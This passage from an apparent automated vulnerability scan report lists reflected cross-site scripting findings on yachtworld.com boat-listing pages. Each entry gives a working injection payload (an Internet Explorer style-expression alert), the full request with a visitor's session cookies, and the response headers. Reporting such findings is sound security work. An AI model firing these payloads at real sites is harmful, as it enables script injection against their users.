savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:10 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:17 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.303. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Maryland/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 766f5"style%3d"x%3aexpression(alert(1))"cfb1674b5cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 766f5"style="x:expression(alert(1))"cfb1674b5cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Maryland/1?766f5"style%3d"x%3aexpression(alert(1))"cfb1674b5cf=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:47 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:11:54 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.304. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Massachusetts/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e9e1"style%3d"x%3aexpression(alert(1))"f3d4b2f9162 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8e9e1"style="x:expression(alert(1))"f3d4b2f9162 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Massachusetts/1?8e9e1"style%3d"x%3aexpression(alert(1))"f3d4b2f9162=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:58 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:05 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.305. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Michigan/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 232e0"style%3d"x%3aexpression(alert(1))"ad26b2f7bfe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 232e0"style="x:expression(alert(1))"ad26b2f7bfe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Michigan/1?232e0"style%3d"x%3aexpression(alert(1))"ad26b2f7bfe=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:05 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.306. http://www.yachtworld.com/boats/category/type/builder/model/United+States/New+Jersey/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d0fe"style%3d"x%3aexpression(alert(1))"5e97aefc973 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2d0fe"style="x:expression(alert(1))"5e97aefc973 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/New+Jersey/1?2d0fe"style%3d"x%3aexpression(alert(1))"5e97aefc973=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:11:55 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.307. http://www.yachtworld.com/boats/category/type/builder/model/United+States/New+York/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2769a"style%3d"x%3aexpression(alert(1))"8aa6c43e6a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2769a"style="x:expression(alert(1))"8aa6c43e6a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/New+York/1?2769a"style%3d"x%3aexpression(alert(1))"8aa6c43e6a7=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; 